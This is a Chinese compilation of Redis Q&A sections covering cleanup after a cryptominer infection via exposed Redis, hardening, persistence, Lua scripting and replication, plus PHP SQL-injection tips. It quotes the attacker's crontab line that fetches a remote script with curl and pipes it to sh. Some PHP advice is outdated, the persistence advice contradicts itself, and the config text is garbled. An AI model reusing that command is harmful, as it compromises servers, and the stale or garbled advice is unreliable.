如何防止redis被挖矿病毒入侵
① 阿里云服务器被挖矿了怎么办(纯纯电脑小白
1. 关闭访问挖矿服务器的访问
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉执行权限， 在没有找到根源前，千万不要删除 minerd，因为删除了，过一回会自动有生成一个。
3. pkill minerd ,杀掉进程
4. service stop crond 或者 crontab -r 删除所有的执行计划
5. 执行top，查看了一会，没有再发现minerd 进程了。
6.检查/var/spool/cron/目录下发现有个root用户的定时器文件。
下载脚本的语句：
*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件内容如下，感兴趣的可以研究下：
View Code
解决minerd并不是最终的目的，主要是要查找问题根源，我的服务器问题出在了redis服务了，黑客利用了redis的一个漏洞获得了服务器的访问权限，http://blog.jobbole.com/94518/然后就注入了病毒，下面是解决办法和清除工作：
1. 修复 redis 的后门,
配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
好消息是Redis作者表示将会开发”real user”，区分普通用户和admin权限，普通用户将会被禁止运行某些命令，如conf
2. 打开 ~/.ssh/authorized_keys, 删除你不认识的账号
3. 查看你的用户列表，是不是有你不认识的用户添加进来。 如果有就删除掉.
② 中挖矿病毒的表现
故障现象：使用过程中，发现经常有服务无故关闭，登录服务器经检查，发现CPU使用率达到100%。在检测异常进程中，未发现CPU使用率异常的进程（使用 top、htop 以及 ps -aux 进行检查），于是报障。
检测过程：
1.找到他shell脚本对应目录把目录或者文件删除。
2.检查定时任务是否存在挖矿木马文件在定时任务中，避免定时运行挖矿木马文件。
3.添加hosts挖矿病毒访问对应网站，避免二次访问并下载。
4.排查liunx命令是否损坏，如损坏下载"procps-3.2.8"并编译，恢复top等系列命令。
5.检测进程是否异常。
6.排查入侵入口，例如 redis是否存在弱口令，nginx或者apache上面的网站程序是否存在漏洞，并排查下nginx或者apache日志审查漏洞所在处。
7.排查ssh登录日志。
8.把ssh登录切换成秘钥登录。
9.重启服务器，检查是否进程是否正常。
③ 如何将redis中的数据持久化到数据库中
1、
快照的方式持久化到磁盘
自动持久化规则配置
save
900
1
save
300
10
save
60
10000
上面的配置规则意思如下:
#
In
the
example
below
the
behaviour
will
be
to
save:
#
after
900
sec
(15
min)
if
at
least
1
key
changed
#
after
300
sec
(5
min)
if
at
least
10
keys
changed
#
after
60
sec
if
at
least
10000
keys
changed
redis也可以关闭自动持久化，注释掉这些save配置，或者save
“”
如果后台保存到磁盘发生错误,将停止写操作.
stop-writes-on-bgsave-error
yes
使用LZF压缩rdb文件,这会耗CPU,
但是可以减少磁盘占用.
rdbcompression
yes
保存rdb和加载rdb文件的时候检验，可以防止错误，但是要付出约10%的性能，可以关闭他，提高性能。
rdbchecksum
yes
导出的rdb文件名
dbfilename
mp.rdb
设置工作目录,
rdb文件会写到该目录,
append
only
file也会存储在该目录下.
dir
./
④ 防火墙怎么配置防挖矿
针对挖矿蠕虫对SSH/RDP等进行暴力破解的攻击方式，云防火墙的基础防御支持常规的暴力破解检测方式，如登录或试错频次阈值计算，对超过试错阈值的行为进行IP限制，还支持在用户的访问习惯、访问频率基线的基础上，结合行为模型在保证用户正常访问不被拦截的同时对异常登录进行限制。
针对一些通用的漏洞利用方式(如利用Redis写Crontab执行命令、数据库UDF进行命令执行等)，云防火墙的基础防御基于阿里云的大数据优势，利用阿里云安全在云上攻防对抗中积累的大量恶意攻击样本，可以形成精准的防御规则，具有极高的准确性。
若您需要开启云防火墙的基础防御，只需要在安全策略->入侵防御->基础防御配置栏勾选基础规则即可，当基础防御开启后，在网络流量分析->IPS阻断分析中可以看到详细的拦截日志。
⑤ 什么时候用Redis
默认情况下，redis
服务会提供
16
个数据库，phphub
使用
0
号数据库来做缓存，1
号数据库来做会话存储
-
laravel
下配置
redis
让缓存、session
各自使用不同的
redis
数据库_phphub
队列的话使用
beanstalkd
最常用的就是缓存、队列，当然还有很多其它的，如归并计算、去重等。
我根据自己使用redis的场景及个人最佳实践，整理了一篇文章，redis应用场景与最佳实践
比如网站抢购时，可以使用redis做队列，可以使用redis来代替session功能，还有可以拿redis中的无序集合做socket的客户端id存储。
⑥ php中防止SQL注入，该如何解决
防sql注入的一个简单方法就是使用框架，一般成熟框架中会集成各种安全措施。
当然也可以自己处理，如果用户的输入能直接插入到SQL语句中，那么这个应用就易收到SQL注入的攻击。我认为最重要的一点，就是要对数据类型进行检查和转义。
php.ini
------------
display_errors 选项，应该设为display_errors = off。这样 php 脚本出错之后，不会在 web 页面输出错误，以免让攻击者分析出有作的信息。
打开magic_quotes_gpc来防止SQL注入，magic_quotes_gpc= Off，这个默认是关闭的，如果它打开后将自动把用户提交对sql的查询进行转换，比如把 ' 转为 '等，对于防止sql注射有重大作用。如果magic_quotes_gpc=Off，则使用addslashes()函数。
mysql 函数
---------------
调用mysql_query 等mysql 函数时，前面应该加上 @，即 @mysql_query(...)，这样 mysql 错误不会被输出。同理以免让攻击者分析出有用的信息。另外，有些程序员在做开发时，当mysql_query出错时，习惯输出错误以及sql 语句。
mysql_real_escape_string -- 转义 SQL 语句中使用的字符串中的特殊字符，并考虑到连接的当前字符集。
Sql语句
------------
对提交的 sql 语句，进行转义和类型检查。如果请求是数值型，那么调用is_numeric() 判断是否为数值。如果不是，则返回程序指定的默认值。简单起见，对于文本串，我将用户输入的所有危险字符（包括HTML代码），全部转义。由于php 函数addslashes()存在漏洞，我用str_replace()直接替换。get_magic_quotes_gpc()函数是php 的函数，用来判断magic_quotes_gpc 选项是否打开。
其它
---------
使用预处理语句和参数化查询（PDO或mysqli）。预处理语句和参数分别发送到数据库服务器进行解析，参数将会被当作普通字符处理。这种方式使得攻击者无法注入恶意的SQL。
⑦ redis有脚本语言吗
有，lua脚本语言
Redis脚本
使用脚本的好处：
减少网络开销。可以将多个请求通过脚本的形式一次发送，减少网络时延
原子操作。redis会将整个脚本作为一个整体执行，中间不会被其他命令插入。因此在编写脚本的过程中无需担心会出现竞态条件，无需使用事务。
复用。客户端发送的脚步会永久存在redis中，这样，其他客户端可以复用这一脚本而不需要使用代码完成相同的逻辑。
--eval，告诉redis-cli读取并运行后面的lua脚本
path/to/redis.lua，是lua脚本的位置
KEYS[1] KEYS[2]，是要操作的键，可以指定多个，在lua脚本中通过KEYS[1], KEYS[2]获取
ARGV[1] ARGV[2]，参数，在lua脚本中通过ARGV[1], ARGV[2]获取。
- redis.call('set', 'foo', 'bar')local value=redis.call('get', 'foo') --value的值为bar
EVAL "lua-script" [key ...] [arg ...]
通过key和arg这两类参数向脚本传递数据，它们的值在脚本中分别使用KEYS和ARGV两个表类型的全局变量访问。
注意： EVAL命令依据参数key-number来将其后面的所有参数分别存入脚本中KEYS和ARGV两个table类型的全局变量。当脚本不需要任何参数时，也不能省略这个参数(设为0)
redis>EVAL "return redis.call('SET', KEYS[1], ARGV[1])" 1 foo bar
OK
redis>GET foo"bar"EVALSHA命令
在脚本比较长的情况下，如果每次调用脚本都需要将整个脚本传给Redis会占用较多的带宽。为了解决这个问题，Redis提供了EVALSHA命令，允许开发者通过脚本内容的SHA1摘要来执行脚本，该命令的用法和EVAL一样，只不过是将脚本内容替换成脚本内容的SHA1摘要。
Redis在执行EVAL命令时会计算脚本的SHA1摘要并记录在脚本缓存中，执行EVALSHA命令时Redis会根据提供的摘要从脚本缓存中查找对应的脚本内容，如果找到了则执行脚本，否则会返回错误："NOSCRIPT No matching script. Please use EVAL."
在程序中使用EVALSHA命令的一般流程如下。
虽然这一流程略显麻烦，但值得庆幸的是很多编程语言的Redis客户端都会代替开发者完成这一流程。执行EVAL命令时，先尝试执行EVALSHA命令，如果失败了才会执行EVAL命令。
先计算脚本的SHA1摘要，并使用EVALSHA命令执行脚本。
获得返回值，如果返回“NOSCRIPT”错误则使用EVAL命令重新执行脚本。
SCRIPTLOAD "lua-script"
将脚本加入缓存，但不执行. 返回：脚本的SHA1摘要
SCRIPT EXISTS lua-script-sha1
判断脚本是否已被缓存
SCRIPT FLUSH
清空脚本缓存 redis将脚本的SHA1摘要加入到脚本缓存后会永久保留，不会删除，但可以手动使用SCRIPT FLUSH命令情况脚本缓存。
SCRIPT KILL
强制终止当前脚本的执行。 但是，如果当前执行的脚步对redis的数据进行了写操作，则SCRIPT KILL命令不会终止脚本的运行，以防止脚本只执行了一部分。脚本中的所有命令，要么都执行，要么都不执行。
调用Lua脚本的语法：
$ redis-cli --eval path/to/redis.lua KEYS[1] KEYS[2] , ARGV[1] ARGV[2] ...
注意：
KEYS和ARGV中间的 ',' 两边的空格，不能省略。
redis支持大部分Lua标准库
库名
说明
Base 提供一些基础函数
String 提供用于字符串操作的函数
Table 提供用于表操作的函数
Math 提供数学计算函数
Debug 提供用于调试的函数
在脚本中调用redis命令
在脚本中可以使用redis.call函数调用Redis命令
redis.call函数的返回值就是Redis命令的执行结果
Redis命令的返回值有5种类型，redis.call函数会将这5种类型的回复转换成对应的Lua的数据类型，具体的对应规则如下（空结果比较特殊，其对应Lua的false）
redis返回值类型和Lua数据类型转换规则
redis返回值类型
Lua数据类型
整数回复 数字类型
字符串回复 字符串类型
多行字符串回复 table类型(数组形式)
状态回复 table类型(只有一个ok字段存储状态信息)
错误回复 table类型(只有一个err字段存储错误信息)
redis还提供了redis.pcall函数，功能与redis.call相同，唯一的区别是当命令执行出错时，redis.pcall会记录错误并继续执行，而redis.call会直接返回错误，不会继续执行。
在脚本中可以使用return语句将值返回给客户端，如果没有执行return语句则默认返回nil
Lua数据类型和redis返回值类型转换规则
Lua数据类型
redis返回值类型
数字类型 整数回复(Lua的数字类型会被自动转换成整数)
字符串类型 字符串回复
table类型(数组形式) 多行字符串回复
table类型(只有一个ok字段存储状态信息) 状态回复
table类型(只有一个err字段存储错误信息) 错误回复
脚本相关命令
Redis的脚本执行是原子的，即脚本执行期间Redis不会执行其他命令。所有的命令都必须等待脚本执行完成后才能执行。为了防止某个脚本执行时间过长导致Redis无法提供服务（比如陷入死循环），Redis提供了lua-time-limit参数限制脚本的最长运行时间，默认为5秒钟。当脚本运行时间超过这一限制后，Redis将开始接受其他命令但不会执行（以确保脚本的原子性，因为此时脚本并没有被终止），而是会返回“BUSY”错误
⑧ redis主从复制最好采用哪种结构
redis主从复制总结整理
主题Redis
Redis的主从复制策略是通过其持久化的rdb文件来实现的，其过程是先mp出rdb文件，将rdb文件全量传输给slave，然后再将mp后的操作实时同步到slave中。让从服务器(slave server)成为主服务器(master server)的精确复制品。官方文档ReplicationHowto中提到以下特点：
一个master支持多个slave，slave可以接受其他slave的连接，作为其他slave的master，从而形成一个master-slave的多级结构
复制功能不会阻塞主服务器： 即使有一个或多个从服务器正在进行初次同步， 主服务器也可以继续处理命令请求。复制功能不会阻塞从服务器： 只要在redis.conf文件中进行了相应的设置， 即使从服务器正在进行初次同步， 服务器也可以使用旧版本的数据集来处理命令查询。不过， 在从服务器删除旧版本数据集并载入新版本数据集的那段时间内， 连接请求会被阻塞。
复制被利用来提供可扩展性，比如可以将slave端用作数据冗余，也可以将耗时的命令（比如sort）发往某些slave从而避免master的阻塞，另外也可以用slave做持久化，由从服务器去执行持久化操作，这只需要将master的配置文件中的save指令注释掉。
Redis 使用异步复制。 从 Redis 2.8 开始， 从服务器会以每秒一次的频率向主服务器报告复制流的处理进度。
复制功能的实现
redis的主从复制分为两个阶段：
1）同步操作：将从服务器的数据库状态更新至主服务器当前所处的数据库状态。
2）命令传播：在主服务器的数据库状态被修改，导致主从服务器的数据库状态出现不一致时，让主从服务器重新回到一致状态。
同步
当客户端向从服务器发送SLAVEOF命令， 要求从服务器复制主服务器时， 从服务器首先需要执行同步操作， 也即是， 将从服务器的数据库状态更新至主服务器当前所处的数据库状态。
从服务器对主服务器的同步操作需要通过向主服务器发送SYNC命令来完成， 以下是SYNC命令的执行步骤：
从服务器向主服务器发送SYNC命令。
收到SYNC命令的主服务器执行BGSAVE命令， 在后台生成一个 RDB 文件， 并使用一个缓冲区记录从现在开始执行的所有写命令。
当主服务器的BGSAVE命令执行完毕时， 主服务器会将BGSAVE命令生成的 RDB 文件发送给从服务器， 从服务器接收并载入这个 RDB 文件， 将自己的数据库状态更新至主服务器执行BGSAVE命令时的数据库状态。
主服务器将记录在缓冲区里面的所有写命令发送给从服务器， 从服务器执行这些写命令， 将自己的数据库状态更新至主服务器数据库当前所处的状态。
下图展示了SYNC命令执行期间， 主从服务器的通信过程：
命令传播
在同步操作执行完毕之后， 主从服务器两者的数据库达到一致状态， 但这种一致并不是一成不变的。当主服务器执行客户端发送的写命令时，主服务器的数据库就有可能会被修改， 并导致主从服务器状态不再一致。为了让主从服务器再次回到一致状态，主服务器需要对从服务器执行命令传播操作： 主服务器会将自己执行的写命令 —— 即造成主从服务器不一致的那条写命令发送给从服务器执行， 当从服务器执行了相同的写命令之后， 主从服务器将再次回到一致状态。但是这样的复制功能有缺陷：在主从服务器断线重连之后执行同步动作时，生成完整的RDB文件并且发送到从服务器载入，但主从服务器的数据库状态在断线前基本上是一致的，不一致的部分只有断线后主服务器执行那一部分修改数据库的命令，所以这时SYNC命令就非常浪费，因为生成RDB文件时一个非常消耗CPU、内存和IO资源的过程，发送RDB文件到从服务器会占用大量的网络带宽资源，从服务器在载入RDB文件的过程中会阻塞不会响应任何命令，所以大部分情况下执行SYNC命令是没有必要也是非常不合理的。
为了解决2.8之前版本SYNC命令的性能问题，2.8版本设计了一个新的命令PSYNC，PSYNC命令分为完整重同步和部分重同步，完整重同步过程用于从服务器初始化时初次复制的情况和SYNC命令基本一致，PSYNC则用于断线后重新复制，在条件允许的情况下，它不会生成RDB文件，而是给从服务器回复一个+Continue表示执行部分重同步，并且把从服务器断线后主服务器执行的修改数据库的命令发送到从服务器，从服务器执行这些命令同步数据库。
部分重同步功能由下面几个部分构成：
主服务器的复制偏移量和从服务器的复制偏移量：当主服务器在向从服务器进行命令同步时，主服务器和从服务器会各自记录一个复制偏移量，当主从服务器的数据库状态一致时这两个复制偏移量是相同的，如果这两个偏移量不一致说明当前主从服务器的状态不一致。
主服务器的复制积压缓冲区：复制积压缓冲区是一个固定大小的FIFO队列，当队列已满时会弹出最早插入的数据，在主服务器进行命令传播时会同时把命令放到缓冲区中，缓冲区包含两部分数据，偏移量和字节。在进行复制时从服务器会将偏移量上报到主服务器，主服务检查当前偏移量是否还存在缓冲区中，如果存在进行部分重同步，如果不存在进行完整重同步。因为这个积压缓冲区是一个固定大小的队列，所以当从服务器长时间断线时，从服务器的复制偏移量很可能已不再缓冲区中，这时候只能进行完整重同步。
服务器的运行ID：初次同步时主服务器会把ID发给从服务器，从服务器保存主服务器ID，当断线重连后，会把之前保存的主服务器ID上报给主服务器，主服务器检查从服务器之前复制的主服务器ID是否和自己的ID相同，如果相同，执行部分重同步，如果不同说明从服务器之前记录的状态不是当前主服务器，这时候需要执行完整重同步。
PSYNC命令实现
初始复制或者之前执行过SLAVEOF no one命令，执行完整重同步：发送PSYNC ? -1命令到主服务器。如果从服务器已经复制过某个主服务器，在开始新复制时向主服务器发送PSYNC <runid> <offset>命令，runid是上次复制的主服务器id，offset是从服务器的复制偏移量，主服务器会根据这个两个参数来决定做哪种同步，判断服务器id是否和本机相同，复制偏移量是否在缓冲区中，主服务器有三种回复：
回复+FULLRESYNC <runid> <offset>执行完整重同步，从服务器把offset当做初始复制偏移量
回复+CONTINUE，表示执行部分重同步，从服务器等待主服务器发送缺少的数据
回复-ERR，表示主服务器版本低于2.8，不支持PSYNC命令
新版本复制过程：
设置主服务器地址和端口，通过调用SAVEOF <master_ip> <master_port>命令。
建立套接字连接。
发送PING命令，检查主从服务器是否能够正常处理命令。
身份验证，从服务器设置了masterauth并且主服务器设置了requirepass是需要进行身份验证。这两个选项要么都设置要么都不设置，如果只设置了一个从服务器向主服务器发送命令时会报错。
发送端口信息，通过执行命令REPLCONF listening-port <port-number>，向主服务器发送从服务器的监听端口号。
同步，从服务器向主服务器发送PSYNC命令。
命令传播，完成同步之后主服务器会把之后执行的写命令传播到从服务器保证主从服务器的状态一致。
心跳检测
在命令传播阶段，从服务器默认每秒一次的频率向主服务器发送命令：REPLCONF ACK <replication_offset>，replication_offset是从服务器的复制偏移量，该命令有三个作用：
检测从服务器的网络连接状态，检测主从服务器连接是否正常，如果主服务器超过一定时间没有收到从服务器的REPLCONF ACK 命令，那么它们的连接可能出了问题。
辅助实现min-slaves选项，min-slaves-to-write和min-slaves-max-lag两个选项可以防止主服务器在不安全的情况下执行写命令，min-slaves-to-write 3 min-slaves-max-lag 10 表示如果从服务器少于3个，或者3个从服务器的延迟都大于10秒时，主服务器拒绝写命令。
检测命令丢失，主服务器接收到从服务器的REPLCONF ACK 命令之后会检查从服务器的偏移量是否和主服务器的一致，如果不一致会把积压缓冲区中的从服务器偏移量后面的命令发送到从服务器。
关闭主服务器持久化时，复制功能的数据安全
当配置Redis复制功能时，强烈建议打开主服务器的持久化功能。 否则的话，由于延迟等问题，部署的服务应该要避免自动拉起。为了帮助理解主服务器关闭持久化时自动拉起的危险性，参考一下以下会导致主从服务器数据全部丢失的例子：
假设节点A为主服务器，并且关闭了持久化。 并且节点B和节点C从节点A复制数据
节点A崩溃，然后由自动拉起服务重启了节点A. 由于节点A的持久化被关闭了，所以重启之后没有任何数据
节点B和节点C将从节点A复制数据，但是A的数据是空的， 于是就把自身保存的数据副本删除。
在关闭主服务器上的持久化，并同时开启自动拉起进程的情况下，即便使用Sentinel来实现Redis的高可用性，也是非常危险的。 因为主服务器可能拉起得非常快，以至于Sentinel在配置的心跳时间间隔内没有检测到主服务器已被重启，然后还是会执行上面的数据丢失的流程。无论何时，数据安全都是极其重要的，所以应该禁止主服务器关闭持久化的同时自动拉起。
只读从服务器
从 Redis 2.6 开始， 从服务器支持只读模式， 并且该模式为从服务器的默认模式。
只读模式由redis.conf文件中的slave-read-only选项控制， 也可以通过CONFIG SET命令来开启或关闭这个模式。
只读从服务器会拒绝执行任何写命令， 所以不会出现因为操作失误而将数据不小心写入到了从服务器的情况。
即使从服务器是只读的，DEBUG和CONFIG等管理式命令仍然是可以使用的， 还是不应该将服务器暴露给互联网或者任何不可信网络。 不过， 使用redis.conf中的命令改名选项， 可以通过禁止执行某些命令来提升只读从服务器的安全性。
一些不重要的临时数据， 仍然是可以保存在从服务器上面的。 比如说， 客户端可以在从服务器上保存主服务器的可达性信息， 从而实现故障转移策略。所以仍然要让一个从服务器变得可写。
从服务器相关配置
如果主服务器通过requirepass选项设置了密码， 那么为了让从服务器的同步操作可以顺利进行， 我们也必须为从服务器进行相应的身份验证设置。
对于一个正在运行的服务器， 可以使用客户端输入以下命令：
config set masterauth <password>
要永久地设置这个密码， 那么可以将它加入到配置文件中：
masterauth <password>
详细的信息可以参考 Redis 源码中附带的redis.conf示例文件。
主服务器只在有至少 N 个从服务器的情况下，才执行写操作
从 Redis 2.8 开始， 为了保证数据的安全性， 可以通过配置， 让主服务器只在有至少 N 个当前已连接从服务器的情况下， 才执行写命令。不过， 因为 Redis 使用异步复制， 所以主服务器发送的写数据并不一定会被从服务器接收到， 因此， 数据丢失的可能性仍然是存在的。以下是这个特性的运作原理：
从服务器以每秒一次的频率 PING 主服务器一次， 并报告复制流的处理情况。
主服务器会记录各个从服务器最后一次向它发送 PING 的时间。
用户可以通过配置， 指定网络延迟的最大值min-slaves-max-lag， 以及执行写操作所需的至少从服务器数量min-slaves-to-write。
如果至少有min-slaves-to-write个从服务器， 并且这些服务器的延迟值都少于min-slaves-max-lag秒， 那么主服务器就会执行客户端请求的写操作。你可以将这个特性看作 CAP 理论中的 C 的条件放宽版本： 尽管不能保证写操作的持久性， 但起码丢失数据的窗口会被严格限制在指定的秒数中。
如果条件达不到min-slaves-to-write和min-slaves-max-lag所指定的条件， 那么写操作就不会被执行， 主服务器会向请求执行写操作的客户端返回一个错误。
以下是这个特性的两个选项和它们所需的参数：
min-slaves-to-write<numberofslaves>
min-slaves-max-lag<numberofseconds>
详细的信息可以参考 Redis 源码中附带的redis.conf示例文件。
Redis可扩展集群搭建
1. 主动复制避开Redis复制缺陷。
既然Redis的复制功能有缺陷，不妨放弃Redis本身提供的复制功能，我们可以采用主动复制的方式来搭建我们的集群环境。所谓主动复制是指由业务端或者通过代理中间件对Redis存储的数据进行双写或多写，通过数据的多份存储来达到与复制相同的目的，主动复制不仅限于 用在Redis集群上，目前很多公司采用主动复制的技术来解决MySQL主从之间复制的延迟问题，比如Twitter还专门开发了用于复制和分区的中间件gizzard(https://github.com/twitter/gizzard) 。
主动复制虽然解决了被动复制的延迟问题，但也带来了新的问题，就是数据的一致性问题，数据写2次或多次，如何保证多份数据的一致性呢？如果你的应用 对数据一致性要求不高，允许最终一致性的话，那么通常简单的解决方案是可以通过时间戳或者vector clock等方式，让客户端同时取到多份数据并进行校验，如果你的应用对数据一致性要求非常高，那么就需要引入一些复杂的一致性算法比如Paxos来保证 数据的一致性，但是写入性能也会相应下降很多。
通过主动复制，数据多份存储我们也就不再担心Redis单点故障的问题了，如果一组Redis集群挂掉，我们可以让业务快速切换到另一组Redis上，降低业务风险。
2. 通过presharding进行Redis在线扩容。
通过主动复制我们解决了Redis单点故障问题，那么还有一个重要的问题需要解决：容量规划与在线扩容问题。我们前面分析过Redis的适用场景是全部数据存储在内存中，而内存容量有限，那么首先需要根据业务数据量进行初步的容量规划，比如你的业务数据需 要100G存储空间，假设服务器内存是48G，至少需要3~4台服务器来存储。这个实际是对现有 业务情况所做的一个容量规划，假如业务增长很快，很快就会发现当前的容量已经不够了，Redis里面存储的数据很快就会超过物理内存大小，如何进行 Redis的在线扩容呢？Redis的作者提出了一种叫做presharding的方案来解决动态扩容和数据分区的问题，实际就是在同一台机器上部署多个Redis实例的方式，当容量不够时将多个实例拆分到不同的机器上，这样实际就达到了扩容的效果。
拆分过程如下：
在新机器上启动好对应端口的Redis实例。
配置新端口为待迁移端口的从库。
待复制完成，与主库完成同步后，切换所有客户端配置到新的从库的端口。
配置从库为新的主库。
移除老的端口实例。
重复上述过程迁移好所有的端口到指定服务器上。
以上拆分流程是Redis作者提出的一个平滑迁移的过程，不过该拆分方法还是很依赖Redis本身的复制功能的，如果主库快照数据文件过大，这个复制的过程也会很久，同时会给主库带来压力。所以做这个拆分的过程最好选择为业务访问低峰时段进行。
新浪微博的replication改进思路：
首先写Redis的AOF文件，并对这个AOF文件按文件大小进行自动分割滚动，同时关闭Redis的Rewrite命令，然后会在业务低峰时间进行内存快照存储，并把当前的AOF文件位置一起写入到快照文件中，这样我们可以使快照文件与AOF文件的位置保持一致性，这样我们得到了系统某一时刻的内存快照，并且同时也能知道这一时刻对应的AOF文件的位置，那么当从库发送同步命令时，我们首先会把快照文件发送给从库，然后从库会取出该快照文件中存储的AOF文件位置，并将该位置发给主库，主库会随后发送该位置之后的所有命令，以后的复制就都是这个位置之后的增量信息了。
Redis的复制由于会使用快照持久化方式，所以如果Redis持久化方式选择的是日志追加方式(aof),那么系统有可能在同一时刻既做aof日志文件的同步刷写磁盘，又做快照写磁盘操作，这个时候Redis的响应能力会受到影响。所以如果选用aof持久化，则加从库需要更加谨慎。
总结
Master最好不要做任何持久化工作，包括内存快照和AOF日志文件，特别是不要启用内存快照做持久化。
如果数据比较关键，某个Slave开启AOF备份数据，策略为每秒同步一次。
为了主从复制的速度和连接的稳定性，Slave和Master最好在同一个局域网内。
尽量避免在压力较大的主库上增加从库
为了Master的稳定性，主从复制不要用图状结构，用单向链表结构更稳定，即主从关系为：Master<–Slave1<–Slave2<–Slave3…….，这样的结构也方便解决单点故障问题，实现Slave对Master的替换，也即，如果Master挂了，可以立即启用Slave1做Master，其他不变。